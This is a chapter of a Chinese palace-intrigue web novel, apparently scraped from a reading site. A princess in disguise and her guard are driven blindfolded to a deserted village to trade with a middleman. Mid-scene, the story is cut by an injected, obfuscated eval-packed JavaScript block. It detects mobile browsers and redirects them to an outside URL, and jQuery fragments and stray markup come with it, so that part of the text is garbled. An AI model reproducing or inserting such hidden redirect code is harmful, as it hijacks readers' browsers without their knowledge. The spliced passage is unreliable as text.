17. 探寻树兰村

作品:《长公主她不服

    听柒来报,徐三开始行动,姒云稷坐在闲来居外的茶馆,她想看看影一是怎么被带出去的。


    朝霞从天边晕开,半座城池沐浴之下,带着和煦的暖意。


    人们开始复工,拿着东西忙忙碌碌讨新年的生计。


    杯中的茶水放凉,小厮续了三次水,依然不见有人出来。


    闲来居伫立着,宁静安详,什么事都没有发生。


    只是没看见徐三,丁强丁磊以及影一。


    只怕事情已经发生,姒云稷往桌上放下两枚铜钱,转身出去。


    街角的另一头,钟玲珑忽然顿住脚步,她怔愣一瞬,缓缓说道:“阿烛,我好像看见阿祁了。”


    “在哪里?”温南烛急忙去看,街上人影攒动,可始终没有那个熟悉的身影。


    温南烛失落,眼中的欣喜瞬间消散,“可能是看错了,我们走吧。”


    “怎么可能,不会错的。”钟玲珑一把握住他的胳膊,坚定道:“绝对是阿祁,我们去看看。”


    “阿祁怎么会在这里?我们要快些去京城。”


    “找了就知道了,不差这一会。”钟玲珑拉着人就往前走。


    姒云稷绕过两条街巷,走上一间阁楼,扶着栏杆向下眺望,看到两个急匆匆的身影。


    落寞从她眼中划过,很快恢复平静,她能理解三人的感情,也知道钟玲珑和温南烛心中的牵绊和记挂,但不能将两人置于危险中,其次,她更怕因为他们的出现,让自己身份存疑,从而产生麻烦。


    所以不管从什么角度,她都不能和两人在一起。


    微风拂过鬓角的发丝,飘忽在眼前,将她心里的微妙的寂寥吹散。


    “影九。”房檐后立即出现一道黑影,影九俯身跪地,“参见殿下。”


    “寻些事情,将二人支走,远离京城。”


    “属下遵命。”影九朝着那两道身影离去。


    风卷残云,日暮西斜,喧杂的人群来往接壤,各种声音不绝入耳。


    听柒道:“殿下,徐三传信,要我们去树兰村进行交易。”


    “树兰村?那是何地?”望着即将落下的残阳,姒云稷回神。


    听柒递出卷轴中的地图,指着襄城外不远处却隐在密林中的一处村落说,“就是这里,属下去看过,不过是个寻常村子,狭小破败,不知为何要在这种地方交易?”


    “给我准备好帷帽,我亲自去看看。”


    “属下这就去准备。”听柒脚下生风,快速离开。


    姒云稷握着那张地图仔细看,襄城还是从前的样子,交通发达,四处商人不断往来,而树兰村错落的位置,怎么瞧都觉得有些熟悉。


    指尖划过麻纸上的每一处地标,最后停在树兰村的位置,她想起来了。


    四年前,那伙山匪的寨子就建在这里,四处高,中间低,进入的地方只有一道峡口,是天然的庇护所。


    并且这里靠近襄城,劫掠方便,近来她在城中也听到不少关于这山匪的事情。


    传言那些山匪死在山寨中,冤魂不散,成了冤魂豖,有人曾在附近路过,看到白日里消弭破败的村子灯火通明,歌舞升平,是那些死去的废土出来享受。


    自那以后再没有人去过那里,虽然改名叫树兰村,但村子里没有一个人。


    对此说法,姒云稷嗤之以鼻,穷凶极恶的匪徒何来冤魂,必然是有人搞事。


    今日去看看想必一切都会真相大白。


    暮色将至,闲来居的丁强前来引路,他穿着黑蓝色的马褂,乔装一番,与平日的样子大相径庭。


    听柒作为散布消息的卖家,自然是与丁强见过的。


    可跟在他身后的姒云稷是丁强没见过的,当即脸色一变,谨慎道:“这是?”


    “我家主子,你找的什么人,我们主子必然要过目,若不是阴时子,有你好看。”听柒睨他一眼,眼神冰冷,带着无尽的威压。


    丁强被他的气势吓到,背脊弯下半截,声调不自觉放低:“你最好确定不会出事。”


    “做你自己的事情。”听柒抛去一记眼神,丁强觉得后颈一冷,转头套好缰绳,坐在破败的马车上。


    姒云稷脚步顿在原地,听柒上下打量一番,嫌弃道:“你要我家主子做这种东西?”


    “做见不得人的生意,还想要金瓜钺斧,全副銮驾,全城欢送。”丁强毫不客气的讽刺。


    他做事莽撞,不管什么人,有话从来都是直说。


    闻听此言的听柒气的牙痒痒,她握紧手中的剑柄,恨不得把他削成十块。


    “罢了。”姒云稷一把按住他,轻声道。


    她不想节外生枝,尽快做完正事。


    听柒后退一步,恢复往的日冷静沉稳,站在姒云稷身旁,伸出胳膊。


    姒云稷素白的双手落在他结实有力的胳膊上,撑着胳膊她走上马车。


    马车帘子合上,听柒坐到丁强旁边,马子本就小,两个人挤在一起,格外局促。


    丁强满脸不耐,用嫌恶的神色看向听柒,似乎在说:不进去,在这里干什么?


    听柒不去看他,扬起手中的配剑,“啪”的一声,剑鞘抽在马身上,马儿瞬间不受控制的向前跑。


    突如其来的前进搞的丁强猝不及防,他只得手忙脚乱的握住缰绳去勒马。


    马车穿过人影稀薄的街道,顺利出城。


    姒云稷本想朝外看看,但马车内部四面封闭,并没有留出缝隙。


    密闭的环境让她浑身不适,索性挑起马车前面的帘子向外看。


    “欸”丁强又不高兴,不满的发出声音。


    听柒手中用力,不经意的用剑鞘打在他身上,丁强吃痛的喊出来,本想责怪的话在嘴边没说出来。


    听柒冷哼一声,道:“专心赶车”他最见不得别人对自家殿下指指点点,若不是她为了大局,哪里轮的到这种不三不四的人给她赶车,不知好歹。


    姒云稷看着外面,最初走在官道上,但很快,丁强便轻车熟路的拐入一条小道。


    道路狭长,只够这一辆小车穿过,两旁长满荆棘树,干枯的树枝张牙舞爪,在暮色中尤为恐怖。


    仔细聆听,还能听到周围一些不知名的声音,噗噗簌簌的响动。


    丁强似乎对这条路极为熟悉,尽管没有灯笼,他也能娴熟的驾车。


    车子驶过半柱香的功夫,在荒凉的空地中,丁强忽然勒住缰绳,逼停马车。


    “你们下来?”他强硬的命令道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981705|193551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    而在他说话的时候,听柒的剑已经横在他脖子上,“不知死活的东西。”


    丁强也是个硬骨头,应当一早就看不惯听柒,直接横眉一竖,“你今天要是杀了我,就等着我死在这里。”


    “我是卖家,你同我做生意便是这副样子?”听柒也是气笑了,不知眼前人是愚昧无知,还是狂妄至极,对着自己位高权重的卖家这副样子。


    “我只知道做生意是你来我往,各取所需,想要继续就得遮住眼睛。”丁强仰起脖子,一副不怕死的样子,给听柒整不会了。


    他抬眼看向姒云稷,姒云稷不想与这蠢人多做争辩,缓行两步上前,轻声道:“小柒,听他的。”


    听柒立即松手,丁强还瞪他一眼,从怀中掏出两根黑布条。


    “我自己来。”听柒劈手夺过布条,不想让他的脏手触碰自己。


    姒云稷也拿过一条黑布,背过身自己系,她能感觉到丁强对自己的恶意,所以她的身份现在决不能暴露。


    系好布条,丁强才重新让他们上车,车子向前,失去眼睛便能清晰的感知到下面的颠簸,地下道路崎岖不平,石子凹凸。


    姒云稷凭借着先前的回忆,自己摸索着这条小路,这里必然会抵达一个暗室之类的地方。


    车子继续向前行驶一柱香,最终停下来,丁强将两人引下来,牵着她们向前。


    面前的路很窄,总能磕磕绊绊的碰到其他东西,弯弯绕绕走了很快,才停下来。


    丁强丢下她们只留了一句话,“在这等着。”


    一股寒意从衣领灌入,姒云稷解下眼睛上的黑布条,映入眼帘的竟是一间雅致的房子。


    陈设在屋中的东西温丽,花梨木梳背椅、胡桃木螭纹小案、床榻上铺着暗红织锦毯,小案的角落还燃着清雅的熏香。


    这些东西算不得多精贵,但绝不该出现在树兰村这样一个被荒废的村子,还被打理的这么好。


    “殿下,这与属下之前来看的完全不一样,他们是不是转移地点了。”听柒看的目瞪口呆,之前她来,看到的树兰村只是一个被荒废的村寨,萧条不已。


    “先看看。”姒云稷朝着门口看去,隐约间有丝竹之声,飘荡的靡靡之音像是花天酒地的地方。


    她坐回椅子上,整理好自己的衣服和帷帽,等着人来。


    很快,门口传来轻响,有人推门而入。


    是徐三,他挺着自己的大肚子,豪迈的走进来。


    “二位就是万事阁的人?”他脸上挂着笑意,但更像是戴在脸上的假面,虚伪不真实。


    “钱已经准备好了,人呢?”听柒问。


    徐三继续笑眯眯的说:“人自然准备好了,只是不知你们要这阴时子做什么?”


    “你只管拿钱走人,管这么多做什么?”听柒不悦蹙眉。


    徐三坐在姒云稷旁边,对着她说道:“听说万事阁无所不能,小人也有一件事求你。”


    “万事阁还没有以物换物的道理。”


    “小人愿意交钱。”徐三急道。


    可姒云稷偏偏说了两个字:“不做。”


    “你,为何不做?”


    “你该清楚万事阁的规矩,没有万两黄金不做生意。”